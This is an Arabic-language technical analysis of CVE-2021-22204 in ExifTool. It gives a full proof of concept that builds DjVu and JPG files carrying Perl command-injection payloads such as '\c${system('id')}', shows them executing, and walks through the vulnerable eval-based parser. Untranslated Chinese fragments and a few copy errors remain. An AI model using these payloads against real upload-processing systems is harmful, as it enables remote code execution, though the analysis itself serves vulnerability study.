
تحليل تقني متعمق لـ CVE-2021-22204 (ثغرة تنفيذ الأوامر عن بعد في ExifTool) مع إعادة إنتاج إثبات المفهوم، بناء الحمولة، ومراجعة كود Perl لمحلل تعليقات DjVu المعرض للخطر.
من المفترض أن يكون هذا مقال تحليل لـ CVE-2021-22204، لكنه أشبه بدفتري ملاحظات، مكتوب فيه الكثير من الأشياء الفوضوية. قد تكون المقالة ثرثارة بالنسبة لتحليل الثغرات، لكنني تعلمت الكثير منها.
بصراحة، لم أستخدم هذه الأداة من قبل، ولم أتعامل تقريبًا مع لغة Perl، مما جعلني مليئًا بعلامات الاستفهام أثناء التحليل وحتى أثناء إعادة الإنتاج. قبل البدء في التحليل، دعنا نلقي نظرة على الـ POC المنشورة على الإنترنت، والأسئلة التي تدور في ذهني.
المقالة التي رأيتها هي [1]، والتي تشرح بإيجاز سبب الثغرة، ولكن نظرًا لأنني لا أفهم كود Perl، هناك الكثير من الأمور غير الواضحة. عملية إعادة الإنتاج كالتالي:
قم بتنزيل الإصدار 12.23 من exiftool
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
فك الضغط والتثبيت
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
بالطبع، إذا كنت لا ترغب في تثبيته، يمكنك ببساطة وضع ملف exiftool الموجود في دليل exiftool-12.23 في دليل ضمن متغير البيئة PATH، وبذلك يمكنك استخدام أداة exiftool مباشرة، لأن Perl هي لغة تفسيرية، تشبه Python.
لإنشاء صورة ضارة، قم أولاً بتثبيت الأدوات اللازمة
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
نفّذ الأمر التالي لإنشاء ملف djvu ضار
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# هذا هو أكثر ما أربكني، لا أفهم لماذا نحتاج إلى الضغط (لأن POC الأخرى لا تحتاج إليه)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = أي شيء بتنسيق 'N,N' حيث N رقم
# BGjp = يتوقع صورة JPEG، لكن يمكننا استخدام /dev/null لاستخدام لا شيء كصورة خلفية
# ANTz = سيكتب جزء التعليق المضغوط مع ملف الإدخال
ثم قم بتحليل الملف الضار باستخدام أداة exiftool، ستجد أن الأمر id قد نُفذ بنجاح
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
عند إنشاء ملف بتنسيق djvu باستخدام الأمر djvumake سابقًا، هل يمكننا عدم ضغط payload؟ لأنه من منظور التحليل، هذا لا يسهل الفحص والاختبار. بالطبع يمكن،只需将参数 ANTz 换成 ANTa. يمكن الرجوع إلى [3] للحصول على شرح ANTz و ANTa، لكنني لم أجد معانيهما الدقيقة، حيث لم أجد وصفًا قياسيًا.
ما زلت أرغب في التذمر هنا، كنت أرغب في الاطلاع على شرح المعلمات عبر
man djvumake، ولكن لم يكن هناك شرح لـANTzوANTaعلى الإطلاق، تاريخ الوثيقة هو 2001، ولم يتم تحديثها منذ فترة طويلة.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa تعني تخزين Annotation بنص عادي في metadata داخل ملف djvu، بينما ANTz هي تنسيق ضغط bzz.
لكن ملفات تنسيق djvu ليست شائعة، خاصة في المواقع التي تتيح رفع الصور، حيث تقبل في الغالب ملفات png/jpg/jpeg فقط. لذا، إذا كان بإمكاننا تحويل ملف djvu ضار إلى ملف jpg، فسيكون ذلك رائعًا.
يمكن لأداة exiftool مساعدتنا في تعديل محتوى الصورة،只需将 ملف djvu الضار إدراجه في المكان المناسب داخل ملف jpg. أما بالنسبة للمكان المحدد ولماذا يمكن أن يكون هذا المكان، فسيتم شرحه لاحقًا أثناء التحليل.
قم بإنشاء ملف تكوين exiftool باسم eval.config
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
يمكن الرجوع إلى [4][5] لمعرفة كيفية كتابة ملفات تكوين exiftool. ثم ابحث عن ملف صورة jpg عادي باسم poc.jpg، ونفّذ الأمر التالي
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
ثم قم بتحليل poc.jpg باستخدام exiftool، سيتم تنفيذ الأمر بنجاح
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
تعتمد عملية التحليل التالية على المحتوى الوارد في [2]، الإصدار المتأثر بالثغرة هو exiftool < 12.24، والملف المسبب للثغرة هو
lib/Image/ExifTool/DjVu.pm (line 202)
كود الدالة ذات الصلة كالتالي
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
لم أتعامل مع لغة Perl من قبل، وبصراحة لم أفهم تقريبًا ماذا يفعل هذا الكود، لكن لحسن الحظ هناك تعليقات جيدة جدًا تساعد في فهم وظيفة هذه الدالة. من تعليقات الدالة، يتضح أنها تستخدم لتحليل بيانات annotation في ملفات djvu، وبناءً على هيكل الكود، فإنها تعالج بشكل متكرر (recursively)، وأن بيانات annotation تكون مقيدة بالأقواس ().
لتسهيل فهم الكود، ولغرض التعلم، سأقدم هنا مقدمة بسيطة عن استخدام التعبيرات العادية في Perl.
طريقة استخدام التعبيرات العادية في Perl خاصة جدًا، وتختلف عن اللغات التي تعاملت معها سابقًا. في Perl، هناك ثلاثة أشكال للتعبيرات العادية:
m//، يمكن حذف ms///tr///بين // يوجد التعبير العادي أو النص، لكن الفاصل يمكن أن يكون أيضًا {} وليس مقتصرًا على //، هذه سمة من سمات لغة Perl.
دعنا نلقي نظرة أولاً على مثال كود للمطابقة
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
في Perl، يمكن استخدام وظيفة التعبير العادي من خلال عامل =~. الكود أعلاه، بغض النظر عما إذا كان التعبير العادي يطابق أم لا، عند طباعة $str، سيكون الناتج this is a string. لكن عندما لا يطابق التعبير العادي، فإنه يُرجع قيمة منطقية false.
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
إذا أردت استبدال محتوى ضمن متغير نصي، يمكنك القيام بذلك كالتالي
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# output
# this is str
استخدام وظيفة الاستبدال يُغير قيمة المتغير مباشرة.
بعد فهم محتوى التعبيرات العادية في Perl، دعنا نعود وننظر إلى الدالة السابقة
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# احصل على المعامل المُمرر (وهو مرجع)
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# عند مواجهة قوس أيسر، يتم المعالجة بشكل متكرر
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# احصل على موضع آخر تطابق للتعبير العادي السابق، هنا يكون موضع أول علامة اقتباس
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# طابق موضع علامة الاقتباس اليمنى مرة أخرى، واقتطع المحتوى بين علامتي الاقتباس
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# تحقق مما إذا كان عدد الخطوط المائلة (backslashes) فرديًا، لتجنب أن يتم تخطي علامة الاقتباس في qq{""}
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# إذا كان فرديًا، أضف علامة اقتباس
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
لتسهيل الفهم، نحتاج إلى ملف مناسب يمكن لـ exiftool تحليله وتنفيذ هذه الدالة. يمكننا استخدام الطريقة السابقة لإنشاء ملف djvu باسم exploit.djvu، محتوى payload كالتالي
(metadata (Author "trganda"))
ثم أضف بعض print في الأماكن الرئيسية من دالة ParseAnt($) لطباعة المعلومات، كما هو موضح أعلاه. بعد ذلك، قم بتنفيذ الأمر التالي في دليل شفرة مصدر exiftool
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
من هنا، يمكن رؤية أن المحتوى الذي يتم تمريره إلى eval في النهاية هو، لاحظ أن علامات الاقتباس المزدوجة لا يمكن تجاهلها.
"trganda"
ماذا لو استبدلنا trganda بدالة system لتنفيذ الأوامر؟ دعنا نجرب
$tok = "${system('id')};";
# output
# "\${system('id')};"
عند التشغيل، نجد أن الناتج هو فقط النص المُدخل، ولم يتم تنفيذ الكود، وذلك لأن $ تم استبداله بـ \$
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
فكيف يمكن تجاوز هذا القيد؟ يجب أن نأخذ الأمر خطوة بخطوة. مؤلف [2] استخدم في اختباراته الـ payload التالي
(metadata (Author "a\
""))
الناتج بعد التشغيل كالتالي، حيث أبلغ eval عن استثناء
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
هنا شرح ما يحدث عند تمرير هذا الـ payload، التركيز الأساسي على حلقة for الثانية
# محتوى Author من Annotation هو، لا تنسَ \n
"\(\n)
""
# في حلقة for، عند أول اقتطاع لسلسلة فرعية، المحتوى الذي يحصل عليه $tok هو، لأن التعبير العادي الأول طابق أول علامة اقتباس، والثاني طابق أول علامة اقتباس في السطر الثاني
\(\n)
# بعد ذلك، يتحقق الكود مما إذا كان عدد \ في نهاية السطر فرديًا، إذا كان فرديًا، يقوم بإضافة "،
# وعند مطابقة $tok =~ /(\\+)$/، فإن $ تطابق \n وليس نهاية النص.
# هذا يؤدي إلى تنفيذ الكود التالي، وإضافة " في نهاية $tok.
\(\n)"
# في المرة الثانية لدخول الحلقة، يتم اقتطاع المحتوى بين "" في السطر الثاني، لكنه فارغ، وبعد الدمج مع $tok نحصل على نفس النتيجة السابقة
\(\n)"
# بعد ذلك، المحتوى الذي يتم تمريره إلى eval هو
qq{"$tok"} -> "\(\n)""
# بعد تنفيذ eval، يتم الإبلاغ عن خطأ لأن " لم تُغلق
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
بخصوص منطق تنفيذ eval في Perl، يُنصح بالرجوع إلى الوثائق الرسمية [9]. ولكن نظرًا لأن بعض المحتويات لم يتم ذكرها في الوثائق، ولأنني لم أستخدم Perl من قبل، فقد بدأت في عدم فهم بعض الأمور. اضطررت إلى اختبار أمثلة متكررة لفهم بعض منطق eval. فيما يلي سأذكر بعض الأمور التي تساعد في فهم هذه الثغرة قبل البدء في شرح عملية تنفيذ الـ payload الفعلي.
وظيفة eval في Perl، بالإضافة إلى تنفيذ مقطع من الكود، يمكنها أيضًا التقاط الاستثناءات، دون مقاطعة تنفيذ البرنامج. يمكن لـ eval استقبال سلسلة نصية ثابتة، أو متغير نصي، أو وضع الكود مباشرة للتحليل والتنفيذ.
# سلسلة نصية ثابتة
eval "system('id')";
# متغير
$cm = "system('id')";
eval $cm;
eval "$cm";
# تنفيذ الكود مباشرة
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
استراتيجية تنفيذ eval هي إرجاع نتيجة آخر عبارة فرعية فقط، أي إذا كان الكود يحتوي على عدة أقسام، يتم أخذ النتيجة الأخيرة فقط، مثل
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
عندما يحدث خطأ في تنفيذ عبارة ما داخل eval، لن يتم تنفيذ الكود التالي أيضًا، وسيتم إلقاء استثناء (إن وجد).
بالعودة إلى الـ payload الاختباري السابق، هل لاحظت شيئًا؟ إذا تمكنا من إغلاق " بنجاح ووضع الكود المراد تنفيذه بين " في السطر الثاني، يمكن تنفيذ الكود بواسطة eval.
أعطى مؤلف [2] الشكل التالي
(metadata
(Author "\
" . return `date`; #")
)
# المحتوى الذي يتم تمريره إلى eval في النهاية هو
"\
" . return `date`; #"
فكيف نفهم هذا الجزء الذي يتم تنفيذه بواسطة eval؟ أولاً، عامل . في Perl يُستخدم لربط السلاسل النصية، لذا سيتم تنفيذ ما يلي أولاً
return `date`;
ثم يتم ربط النتيجة مع \(\n). في الواقع، إضافة return لا تؤثر على تنفيذ أمر date، وعلامة " الأخيرة تم التعليق عليها.
بالطبع، يمكن أيضًا كتابته بهذا الشكل
(metadata (Author "\
"; return `date`; #"))
# المحتوى الذي يتم تمريره إلى eval في النهاية هو
"\
"; return `date`; #"
بهذه الطريقة، يقوم eval أولاً بتحليل "\(\n)";، حيث يتم تفسير هذا الجزء كسلسلة نصية، ثم يستمر في تحليل العبارات التالية، وبالتالي يتم تنفيذ أمر date بنجاح.
بعد تنفيذ الـ payload أعلاه، سترى النتيجة التالية، مما يدل على نجاح التنفيذ.
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
لقد تعبت قليلاً في الكتابة. الـ payload الذي قدمه مؤلف [2] يمكنه التنفيذ بشكل مثالي عن طريق تجاوز ". هل هناك طرق أخرى؟ في الواقع، المحتوى في [1] قد قدمها بالفعل
(metadata "\c${system('id')};")
يجب أن تعلم أن دالة ParseAnt($) تستبدل رمز $، مما يمنع التنفيذ المباشر. فلماذا ينجح هذا؟ هل تتساءل عن وظيفة \c؟ أولاً، عند إنشاء ملف djvu باستخدام هذا الـ payload وتحليله بواسطة exiftool، المحتوى الذي يتم تمريره إلى eval هو
"\c\${system('id')};"
في حالة عدم وجود \c
"\${system('id')};"
هذا الكود لن يتم تنفيذه بالفعل، والنتيجة النهائية ستكون مجرد سلسلة نصية، لأن $ تم تخطيه. وظيفة \c هي إلغاء تأثير \ قبل $، مما يسمح بتنفيذ الكود التالي. في Perl، هناك العديد من أحرف الإفلات (escape characters)، و \c هو واحد منها، لكنه لا يُستخدم بمفرده، بل يجب أن يقترن بأي حرف.
| حرف الإفلات | المعنى |
|---|---|
| \cX | حرف تحكم، يمكن أن يكون X أي حرف |
ولهذا السبب، يتم تفسير \c\ كشيء آخر، مما يسمح بتنفيذ الكود التالي.
جميع الملفات الضارة التي تم إنشاؤها سابقًا كانت مقتصرة على تنسيق djvu. إذا تمكنا من إنشاء ملف شائع الاستخدام، مثل صورة jpg، فسيكون ذلك أكثر فائدة. لتحقيق ذلك، نحتاج إلى معرفة الملفات التي عند تحليلها يتم استدعاء الدالة المعرضة للثغرة ParseAnt($).
من خلال البحث للأعلى، نجد أن ProcessAnt($$$) تستدعي ParseAnt($)، ولكن عند التتبع إلى الأعلى لا يمكن العثور عليها مباشرة.
ProcessAnt($$$)
|
v
ParseAnt($)
نظرًا لوجود آلية تحميل الوحدات الديناميكية في لغة Perl، يمكننا محاولة معرفة أين يتم تحميل ملف Djvu.pm.

من خلال فحص الملفات التي تم العثور عليها واحدًا تلو الآخر، نجد في lib/Image/ExifTool.pm السطر 2620 الكود التالي الذي يقرر تحميل الوحدة المناسبة لمعالجة الملف بناءً على نوعه.
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
بعد ذلك، نواصل البحث عن مكان استدعاء ExtractInfo($;@)، نجد عدة أماكن، لكن التركيز ينصب على الكود الموجود في lib/Image/ExifTool/Exif.pm السطر 3004
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main هو جدول على شكل Map، ووظيفة Exif.pm كما هو مذكور في التعليقات هي قراءة معلومات metadata المتوافقة مع معيار EXIF/TIFF
Description: Read EXIF/TIFF meta information
في الواقع، لقد رأينا %Image::ExifTool::Exif::Main في وقت سابق أثناء إعادة الإنتاج، ولم نكن نفهم معنى 0xc51، ولماذا يجب أن يكون هذه القيمة. الآن نعلم أنه إذا كان محتوى metadata في الملف يحتوي على المحتوى المطابق للمعرف 0xc51، فسيتم تحليله بواسطة دالة ExtractInfo، ويتدرج تدريجيًا إلى الدالة المعرضة للثغرة.
ولهذا السبب، قمنا في وقت سابق باستخدام ميزة التخصيص القوية لـ exiftool، وكتبنا ملف config، وخصصناه لملف jpg عادي، وأدرجنا فيه metadata من نوع 0xc51b تحتوي على محتوى ضار. عند هذه النقطة، أصبحت عملية التحفيز بأكملها واضحة، وتمت الإجابة على أسئلتي. كما قدم مؤلف [2] طرقًا لإدراج بيانات ضارة في تنسيقات ملفات أخرى، والفكرة مماثلة لهذه.
عرض diff على GitHub كالتالي

[1] A case study on: CVE-2021-22204 - Exiftool RCE (convisoappsec.com)
[2] ExifTool CVE-2021-22204 - Arbitrary Code Execution | devcraft.io
[3] TagNames of DjVu
[4] TagNames Explan
[5] Exiftool User Defined Configuration File
[6] EXIF
[7] Groups
[8] exiftool-arbitrary-code-execution
[9] eval in Perl